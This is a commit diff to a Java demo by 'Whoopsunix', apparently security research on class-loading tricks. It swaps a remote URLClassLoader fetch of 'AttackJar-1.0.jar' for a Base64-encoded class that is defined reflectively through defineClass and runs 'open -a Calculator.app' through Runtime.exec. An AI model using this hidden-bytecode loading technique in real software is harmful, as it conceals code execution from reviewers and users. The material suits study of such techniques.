1
1
package org .example ;
2
2
3
+ import java .lang .reflect .Method ;
4
+ import java .util .Base64 ;
5
+
3
6
/**
4
7
* @author Whoopsunix
5
8
*/
@@ -21,16 +24,16 @@ public static void main(String[] args) throws Exception {
21
24
/**
22
25
* 调用构造方法
23
26
*/
24
- java .net .URL url = new java .net .URL ("http://127.0.0.1:1234/AttackJar-1.0.jar" );
25
- java .net .URLClassLoader classLoader = new java .net .URLClassLoader (new java .net .URL []{url });
26
- Class <?> loadedClass = classLoader .loadClass ("org.example.ExecArg" );
27
- // public
28
- // Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
29
- // private
30
- Class cls = String .class ;
31
- java .lang .reflect .Constructor constructor = loadedClass .getDeclaredConstructor (cls );
32
- constructor .setAccessible (true );
33
- Object object = constructor .newInstance ("open -a Calculator.app" );
27
+ // java.net.URL url = new java.net.URL("http://127.0.0.1:1234/AttackJar-1.0.jar");
28
+ // java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
29
+ // Class<?> loadedClass = classLoader.loadClass("org.example.ExecArg");
30
+ // // public
31
+ //// Object object = loadedClass.getConstructor(String.class).newInstance("open -a Calculator.app");
32
+ // // private
33
+ // Class cls = String.class;
34
+ // java.lang.reflect.Constructor constructor = loadedClass.getDeclaredConstructor(cls);
35
+ // constructor.setAccessible(true);
36
+ // Object object = constructor.newInstance("open -a Calculator.app");
34
37
35
38
/**
36
39
* 调用方法
@@ -41,5 +44,22 @@ public static void main(String[] args) throws Exception {
41
44
// Object object = loadedClass.newInstance();
42
45
// loadedClass.getMethod("exec", String.class).invoke(object, "open -a Calculator.app");
43
46
47
+
48
+ /**
49
+ * Base64解密后加载
50
+ */
51
+ // generate
52
+ // String b64Str = new B64().encodeJavaClass(Exec.class);
53
+
54
+ String b64Str = "yv66vgAAADQAIgoABwAVCgAWABcIABgKABYAGQcAGgcAGwcAHAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQASTG9yZy9leGFtcGxlL0V4ZWM7AQANU3RhY2tNYXBUYWJsZQcAGwcAGgEACDxjbGluaXQ+AQAKU291cmNlRmlsZQEACUV4ZWMuamF2YQwACAAJBwAdDAAeAB8BABZvcGVuIC1hIENhbGN1bGF0b3IuYXBwDAAgACEBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAQb3JnL2V4YW1wbGUvRXhlYwEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAACAAEACAAJAAEACgAAAGoAAgACAAAAEiq3AAG4AAISA7YABFenAARMsQABAAQADQAQAAUAAwALAAAAFgAFAAAABwAEAAkADQALABAACgARAAwADAAAAAwAAQAAABIADQAOAAAADwAAABAAAv8AEAABBwAQAAEHABEAAAgAEgAJAAEACgAAAE8AAgABAAAADrgAAhIDtgAEV6cABEuxAAEAAAAJAAwABQADAAsAAAASAAQAAAAQAAkAEgAMABEADQATAAwAAAACAAAADwAAAAcAAkwHABEAAAEAEwAAAAIAFA==" ;
55
+
56
+ byte [] bytes = Base64 .getDecoder ().decode (b64Str );
57
+ // ClassLoader classLoader = this.getClass().getClassLoader();
58
+ ClassLoader classLoader = Thread .currentThread ().getContextClassLoader ();
59
+
60
+ Method defineClassMethod = ClassLoader .class .getDeclaredMethod ("defineClass" , byte [].class , int .class , int .class );
61
+ defineClassMethod .setAccessible (true );
62
+ Class <?> loadedClass = (Class <?>) defineClassMethod .invoke (classLoader , bytes , 0 , bytes .length );
63
+ loadedClass .newInstance ();
44
64
}
45
65
}
0 commit comments